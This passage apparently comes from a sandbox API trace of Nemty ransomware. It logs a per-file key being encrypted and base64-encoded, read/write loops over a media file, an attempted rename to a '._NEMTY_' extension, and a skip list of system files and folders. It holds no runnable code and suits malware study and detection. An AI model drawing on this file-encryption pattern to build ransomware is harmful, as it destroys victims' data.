lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0090.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0090.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainBackground_PAL.wmv", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 28 [0090.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainBackground_PAL.wmv", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0090.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0090.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainBackground_PAL.wmv", cchWideChar=28, lpMultiByteStr=0x4f9ed58, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 28 [0090.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94338 [0090.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0090.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0090.044] Sleep (dwMilliseconds=0x5) [0090.057] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9532690, dwHighDateTime=0x1d561e7)) [0090.057] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9532690, dwHighDateTime=0x1d561e7)) [0090.057] GetLastError () returned 0x5 [0090.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.057] GetLastError () returned 0x5 [0090.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0090.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0090.057] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0090.057] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0090.057] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0090.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0090.057] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="spmIl1krlxfG5A/6HpGoopm2yvMA/qzMJLdv1k+6l8DTtl/piLzJGyTpuzo2cBgr\r\nkfVQtoTR/VhyVp8J8f335FOtrC8qtKATJ7ZEe7pQIywhjqfgTpNsVO7/XhUAn1gT\r\nCCECMWgs56hlllPhT9YrMYgeDUr7BSqYEY+E0dYW5geAtCjzGNhCBLOolfnlfe0V\r\ncrogS9IR5Q4bTqCm/UFr6TXAaQQeAEm2Nw24+8cuK+Q0qwNLIyncWymr07OkjQtx\r\n2lSfT+VGRcDMdlcR8OyuWeTmVIWx7bsI7F0bV9yEFvkh4sKfg7rEjr79Sy5vWdpT\r\nSJ5vSHZ5AqggtwyDs4aspA==\r\n", pcchString=0x653e91c) returned 1 [0090.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0090.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0090.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0090.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0090.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0090.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0090.057] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.058] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0090.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0090.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.058] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.068] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.068] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.078] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.087] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.087] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.104] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.113] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.113] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.123] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.123] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.132] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.142] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.142] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.151] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.151] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.161] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.161] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.167] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.167] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.173] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.173] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.173] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.173] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0090.173] CloseHandle (hObject=0xffffffff) returned 0 [0090.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0090.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0090.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0090.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0090.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0090.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0090.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0090.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0090.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0090.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0090.174] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv._nemty_kgobjgd_")) returned 0 [0090.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0090.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0090.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0090.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0090.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0090.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0090.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0090.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0090.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0090.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0090.174] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c25c4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71c25c4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50320c39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1beae6, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="SportsMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0090.174] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2=".") returned 1 [0090.174] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="..") returned 1 [0090.174] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="...") returned 1 [0090.174] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="windows") returned -1 [0090.175] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="$RECYCLE.BIN") returned 1 [0090.175] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="rsa") returned 1 [0090.175] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="NTDETECT.COM") returned 1 [0090.175] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="ntldr") returned 1 [0090.175] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="MSDOS.SYS") returned 1 [0090.175] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="IO.SYS") returned 1 [0090.175] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="boot.ini") returned 1 [0090.175] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="boot.ini") returned 1 [0090.175] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0090.175] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="ntuser.dat") returned 1 [0090.175] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="desktop.ini") returned 1 [0090.175] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="CONFIG.SYS") returned 1 [0090.175] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="RECYCLER") returned 1 [0090.175] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="BOOTSECT.BAK") returned 1 [0090.175] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="bootmgr") returned 1 [0090.175] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="programdata") returned 1 [0090.175] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="appdata") returned 1 [0090.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToNotesBackground.wmv", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0090.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0090.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToNotesBackground.wmv", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainToNotesBackground.wmv", lpUsedDefaultChar=0x0) returned 31 [0090.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0090.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0090.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToNotesBackground.wmv", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0090.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0090.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToNotesBackground.wmv", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainToNotesBackground.wmv", lpUsedDefaultChar=0x0) returned 31 [0090.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0090.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0090.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToNotesBackground.wmv", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0090.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0090.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToNotesBackground.wmv", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainToNotesBackground.wmv", lpUsedDefaultChar=0x0) returned 31 [0090.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToNotesBackground.wmv", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0090.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0090.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToNotesBackground.wmv", cchWideChar=31, lpMultiByteStr=0x4f9ed58, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainToNotesBackground.wmv", lpUsedDefaultChar=0x0) returned 31 [0090.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0090.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0090.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94338 [0090.176] Sleep (dwMilliseconds=0x5) [0090.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 